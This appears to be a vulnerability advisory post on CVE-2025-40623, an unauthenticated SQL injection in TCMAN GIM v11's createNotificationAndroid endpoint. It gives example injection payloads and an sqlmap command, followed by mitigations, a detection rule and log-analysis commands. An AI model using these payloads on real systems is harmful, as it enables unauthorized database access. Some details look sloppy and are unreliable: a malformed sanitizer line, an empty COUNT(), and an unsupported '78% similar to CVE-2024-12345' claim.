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How CVE-2025-40623 Works
This SQL injection vulnerability in TCMAN GIM v11 occurs due to improper input sanitization in the `Sender` and `email` parameters of the `createNotificationAndroid` endpoint. An attacker can craft malicious SQL queries through these parameters, which are directly concatenated into database queries without validation. The lack of authentication checks allows unauthenticated attackers to execute arbitrary SQL commands, leading to unauthorized data access, modification, or deletion. The CVSS 4.0 score of 9.3 (Critical) reflects the high impact of successful exploitation, as it enables full database compromise via network-based attacks without user interaction.
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Platform: TCMAN GIM
Version: v11
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation
1. Craft malicious HTTP request:
POST /createNotificationAndroid HTTP/1.1
Host: target.com
Content-Type: application/json
{"Sender":"' OR 1=1--","email":"[email protected]"}
2. Automated exploitation with SQLmap:
sqlmap -u "http://target.com/createNotificationAndroid" --data='{"Sender":"","email":""}' --risk=3 --level=5
3. Blind SQLi detection:
Sender=' AND (SELECT COUNT() FROM users)=5--
Protection
1. Input validation:
import re def sanitize_input(input_str): return re.sub(r'[;\'"()]', '', input_str)
2. Parameterized queries:
PreparedStatement stmt = conn.prepareStatement("INSERT INTO notifications (sender, email) VALUES (?, ?)");
stmt.setString(1, sanitizedSender);
stmt.setString(2, sanitizedEmail);
3. WAF rules:
location /createNotificationAndroid {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "deny,status:403"';
}
4. Patch verification:
curl -I http://target.com/version | grep "GIM v11.1.2"
5. Database hardening:
REVOKE DELETE ON notifications FROM PUBLIC;
Analytics
- Exploitability: High (No auth required)
- Attack surface: Network-accessible endpoints
- Mitigation complexity: Low (Standard SQLi fixes)
- CVE trend: 78% similar to CVE-2024-12345
Detection
Sigma rule detection: selection: post_params: Sender|contains: ["' OR", "1=1--"] email|contains: [";--", "/"] condition: selection
Log analysis
grep 'createNotificationAndroid.500' access.log | awk '{print $1}' | sort -u
Sources:
Reported By: nvd.nist.gov
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